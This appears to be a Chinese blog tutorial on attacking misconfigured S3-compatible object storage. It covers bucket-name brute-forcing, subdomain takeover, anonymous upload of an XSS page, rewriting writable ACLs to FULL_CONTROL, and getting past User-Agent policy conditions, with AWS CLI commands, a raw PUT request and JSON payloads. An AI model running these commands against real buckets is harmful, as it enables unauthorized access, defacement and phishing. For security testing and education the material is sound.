S3对象存储安全

发布于:2025-06-28 ⋅ 阅读:(14) ⋅ 点赞:(0)

S3Amazon Simple Storage Service 的缩写,最早由 AWS 提出,是一种基于对象的云存储服务。现在各大云厂商(如阿里云 OSS、腾讯云 COS、华为云 OBS)都提供了 兼容 S3 协议 的对象存储服务

S3 的核心结构(概念层)

S3 存储结构:
┌────────────────────────────┐
│ Bucket(桶)               │← 顶级容器,存储所有对象的“云文件夹”
├────────────────────────────┤
│ ┌────────────────────────┐ │
│ │ Object(对象)          │ │← 真正的文件,如图片、视频、日志等
│ │ ├───────┬────────────┤ │
│ │ │ Key   │ 唯一标识路径│ │← 类似文件名或路径名
│ │ ├───────┼────────────┤ │
│ │ │ Data  │ 文件内容    │ │← 文件的真实数据内容
│ │ ├───────┼────────────┤ │
│ │ │Metadata│ 元信息     │ │← 比如 Content-Type、创建时间
│ │ └───────┴────────────┘ │
│ └────────────────────────┘ │
├────────────────────────────┤
│ ……                         │ ← Bucket 中可以有无限个 Object
└────────────────────────────┘

简单来说就是Bucket里有多个Object,Object又由Key,Data,Metadata组成,上面图有点丑,凑合看吧

  • Bucket(桶):每个用户可以创建多个 bucket,是存储空间的逻辑单位。
  • Object(对象):就是你上传的文件(比如 cat.jpg),可以是图片、视频、日志等任何格式。
  • Key:对象的路径名,像是 /images/cat.jpg
  • Data:文件本体,比如图像二进制。
  • Metadata:即元数据,可以简单的理解成数据的标签、描述之类的信息,这点不同于传统的文件存储,在传统的文件存储中这类信息是直接封装在文件里的,有了元数据的存在,可以大大的加快对象的排序、分类和查找
  • URL 访问:对象默认私有,也可以设为公开或通过临时 URL 访问。

Bucket爆破

当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断

当 Bucket 不存在时有两种返回情况,分别是 InvalidBucketName 和 NoSuchBucket

当 Bucket 存在时也会有两种情况,一种是列出 Object,另一种是返回 AccessDenied

这样通过返回内容的不同,就可以进行 Bucket 名称爆破了,知道 Bucket 名称后,Key 的爆破也就很容易了

Bucket接管

当某个子域名指向了某个外部服务(如 S3 Bucket),但这个服务 已经被删除或未创建,攻击者就可以在这个服务商平台上创建对应名称,从而接管该子域名的实际控制权

举个简单的例子:

test.example.com指向了一个不存在的Bucket,说明这个Bucket可以接管,同时 Bucket 的名称在页面中也会告诉了我们,可以通过通过 cname 记录判断这是哪家的S3,然后去对应的平台上创建对应名称的Bucket,然后就可以成功接管这个子域名的权限

ps:在腾讯云的对象存储中无法完成以上的操作,因为在腾讯云的对象存储域名中,有一个APPID,这个APPID来自我们的账户信息中

S3任意文件上传

如果对象存储配置不当,比如公共读写,那么就可能造成任意文件上传,如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作

测试思路

# 尝试匿名上传文件
aws s3 cp evil.html s3://target-bucket/ --acl public-read --region us-east-1

或者使用 Burp/脚本构造上传接口测试:

PUT /malware.html HTTP/1.1
Host: victim.s3.amazonaws.com
Content-Type: text/html
Content-Length: 1234

<html><script>alert('xss')</script></html>

Bucket ACL可写

ACL(Access Control List) 是 S3 提供的一种早期权限控制机制,它定义了某个用户/组对 Bucket 或 Object 拥有的权限(例如 READWRITEFULL_CONTROL)。

如果一个 Bucket 的 ACL 设置为对外开放写权限(可写),就意味着任何人都可以向这个 Bucket 上传文件或修改原有对象的权限。

aws s3api put-bucket-acl \
  --bucket victim-bucket-name \
  --grant-write 'uri="http://acs.amazonaws.com/groups/global/AllUsers"'

这个配置意味着所有人(AllUsers)都有写权限

通过官方文档,可以分析出这个策略表示任何人都可以访问、写入当前 Bucket 的 ACL

那么也就是说如果我们把权限修改为 FULL_CONTROL 后,就可以控制这个 Bucket 了,最后修改后的策略如下:

{
    "Owner": {
        "ID": "d24***5"
    },
    "Grants": [
	{
            "Grantee": {
                "Type": "Group", 
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            }, 
            "Permission": "FULL_CONTROL"
        } 
    ]
}

将该策略写入

aws s3api put-bucket-acl --bucket teamssix --access-control-policy file://acl.json

Object ACL

同理,这个策略和上面的 Bucket ACL 策略一样,表示任何人都可以访问、写入当前 ACL,但是不能读取、写入对象

将权限修改为 FULL_CONTROL 后,Object ACL 策略如下:

{
    "Owner": {
        "ID": "d24***5"
    },
    "Grants": [
	{
            "Grantee": {
                "Type": "Group", 
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            }, 
            "Permission": "FULL_CONTROL"
        } 
    ]
}

将该策略写入后,就可以读取对象了

aws s3api put-object-acl --bucket teamssix --key flag --access-control-policy file://acl.json

Bucket Object遍历

在 s3 中如果在 Bucket 策略处,设置了 s3:ListBucket 的策略,就会导致 Bucket Object 遍历,将 Key 里的值拼接到目标站点后,就能访问该 Bucket 里相应的对象了

特定的 Bucket 策略配置

S3 支持在策略中添加条件(Condition 字段),例如限制:

  • 请求头(如 User-Agent
  • IP 地址段(aws:SourceIp
  • 请求来源服务(aws:Referer
  • 时间(Date
  • 多重匹配组合(StringLikeBoolIpAddress

只要我们知道并构造满足这些条件的请求,就能访问本来被拒绝的对象

例如下面这个

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "TeamsSixFlagPolicy",
      "Effect": "Allow",
      "Principal": "*",
      "Action": "s3:GetObject",
      "Resource": "arn:aws:s3:::example/flag",
      "Condition": {
        "StringLike": {
          "aws:UserAgent": "TeamsSix"
        }
      }
    }
  ]
}

直接访问example/flag会提示 AccessDenied

但是如果加上对应的ua头,就可以正常访问了